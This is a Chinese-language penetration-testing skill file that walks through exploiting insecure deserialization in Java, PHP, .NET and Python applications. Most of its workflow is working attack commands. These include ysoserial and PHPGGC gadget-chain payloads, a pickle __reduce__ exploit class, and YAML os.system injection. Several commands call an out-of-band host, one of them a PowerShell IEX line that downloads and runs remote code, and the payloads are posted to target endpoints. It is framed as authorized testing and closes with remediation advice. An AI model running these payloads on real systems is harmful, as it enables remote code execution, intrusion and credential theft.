| name | exploiting-insecure-deserialization |
| description | 在授权渗透测试中识别并利用 Java、PHP、Python 和 .NET 应用程序中的不安全反序列化漏洞以实现远程代码执行。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","deserialization","rce","owasp","web-security","ysoserial"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用不安全反序列化漏洞(Exploiting Insecure Deserialization)
适用场景
- 当应用程序处理序列化数据(cookies、API 参数、消息队列)时,在授权渗透测试期间
- 在 HTTP 流量中识别 Java 序列化标记(
ac ed 00 05 / rO0AB)时
- 测试对用户控制输入使用
unserialize() 的 PHP 应用程序时
- 评估使用
BinaryFormatter、ObjectStateFormatter 或 ViewState 的 .NET 应用程序时
- 在使用 pickle(Python)、Marshal(Ruby)或 YAML 反序列化的应用程序的安全评估期间
前置条件
- 授权:包含 RCE 测试范围的书面渗透测试协议
- ysoserial:Java 反序列化利用工具(
git clone https://github.com/frohoff/ysoserial.git)
- ysoserial.net:.NET 反序列化利用工具(
git clone https://github.com/pwntester/ysoserial.net.git)
- PHPGGC:PHP 反序列化 Gadget 链生成器(
git clone https://github.com/ambionics/phpggc.git)
- Burp Suite Professional:配合 Java Deserialization Scanner 扩展
- Java 运行时:用于运行 ysoserial
- Collaborator/interactsh:用于带外确认代码执行
工作流程
步骤 1:识别应用程序流量中的序列化数据
检测 HTTP 参数、cookies 和请求头中的序列化对象。
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head
步骤 2:使用 ysoserial 测试 Java 反序列化
为 Java 应用程序生成反序列化有效载荷。
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
-b "session=$PAYLOAD" \
"https://target.example.com/dashboard"
步骤 3:使用 PHPGGC 测试 PHP 反序列化
为常见 PHP 框架生成 Gadget 链。
./phpggc -l
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b
./phpggc Guzzle/RCE1 system "id" -b
./phpggc Monolog/RCE1 system "id" -b
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
"https://target.example.com/dashboard"
步骤 4:测试 .NET 反序列化
评估 ViewState 和其他 .NET 序列化向量。
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
-c "curl http://abc123.oast.fun/dotnet-rce" -o base64
./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
-c "whoami" -o base64
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
-c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64
curl -s "https://target.example.com/remoting/service.rem"
步骤 5:测试 Python Pickle 反序列化
在 Python 应用程序中利用基于 pickle 的反序列化。
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle 有效载荷: {payload}")
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")
curl -s -X POST \
-H "Content-Type: application/octet-stream" \
-d "$PAYLOAD" \
"https://target.example.com/api/import"
curl -s -X POST \
-H "Content-Type: application/x-yaml" \
-d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
"https://target.example.com/api/config"
步骤 6:确认利用并记录影响
验证成功的反序列化攻击并记录影响链。
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 \
"curl http://abc123.oast.fun/\$(whoami)" | base64 -w0
核心概念
| 概念 | 定义 |
|---|
| 序列化(Serialization) | 将对象转换为字节流以进行存储或传输 |
| 反序列化(Deserialization) | 从字节流重建对象,可能执行代码 |
| Gadget 链(Gadget Chain) | 将现有类方法链接在一起以实现任意代码执行的序列 |
| 魔术方法(Magic Methods) | 反序列化期间自动调用的特殊方法(PHP 中的 __wakeup、__destruct,Java 中的 readObject) |
| ViewState | 用于持久化页面状态的 ASP.NET 机制,通常包含序列化对象 |
| Pickle | Python 的原生序列化格式,对不受信任的数据本身不安全 |
| URLDNS Gadget | 触发 DNS 查询的 Java Gadget,用于安全的反序列化检测 |
工具与系统
| 工具 | 用途 |
|---|
| ysoserial | 带有多个 Gadget 链的 Java 反序列化有效载荷生成器 |
| ysoserial.net | .NET 反序列化有效载荷生成器 |
| PHPGGC | 适用于多个框架的 PHP 通用 Gadget 链 |
| Burp Java Deserialization Scanner | 自动检测 Java 反序列化漏洞 |
| marshalsec | 针对各种库的 Java 反序列化利用工具 |
| Freddy (Burp 扩展) | 检测多种语言的反序列化问题 |
常见场景
场景:Java 会话 Cookie RCE
Java 应用程序将会话数据存储为 cookies 中的序列化对象。rO0AB 前缀揭示了 Java 序列化。使用带有 CommonsCollections Gadget 链的 ysoserial 实现远程代码执行。
场景:PHP Laravel Unserialize
Laravel 应用程序通过隐藏表单字段传递序列化数据。使用 PHPGGC 生成 Laravel RCE Gadget 链,在提交表单时实现命令执行。
场景:.NET ViewState 无 MAC
ASP.NET 应用程序禁用了 ViewState MAC 验证。使用 ysoserial.net 生成恶意 ViewState 有效载荷,在页面处理修改后的 ViewState 时实现代码执行。
场景:Redis 缓存中的 Python Pickle
Python Web 应用程序在 Redis 中存储 pickle 对象以进行缓存。通过用恶意 pickle 有效载荷污染缓存,当应用程序反序列化缓存对象时触发代码执行。
输出格式
## 不安全反序列化发现
**漏洞**: 不安全反序列化 - 远程代码执行
**严重性**: 严重(CVSS 9.8)
**位置**: Cookie `user_session`(Java 序列化对象)
**OWASP 类别**: A08:2021 - 软件和数据完整性失效
### 复现步骤
1. 捕获 `user_session` cookie 值(以 rO0AB 开头)
2. 生成有效载荷:java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 编码并替换 cookie 值
4. 发送请求;命令在服务器上执行
### 易受攻击的库
- commons-collections 3.2.1(CVE-2015-7501)
- Java 运行时:OpenJDK 11.0.15
### 已确认影响
- 以 `tomcat` 用户身份远程代码执行
- 服务器操作系统:Ubuntu 22.04 LTS
- 通过反向 Shell 确认内网访问
- 可从应用程序配置访问数据库凭据
### 建议
1. 避免反序列化不受信任的数据;改用 JSON 或 Protocol Buffers
2. 将 commons-collections 升级到 4.1+(已修补版本)
3. 实施反序列化过滤器(Java 9+ 的 JEP 290)
4. 在反序列化期间使用允许列表限制允许的类
5. 在反序列化前对序列化数据实施完整性检查(HMAC)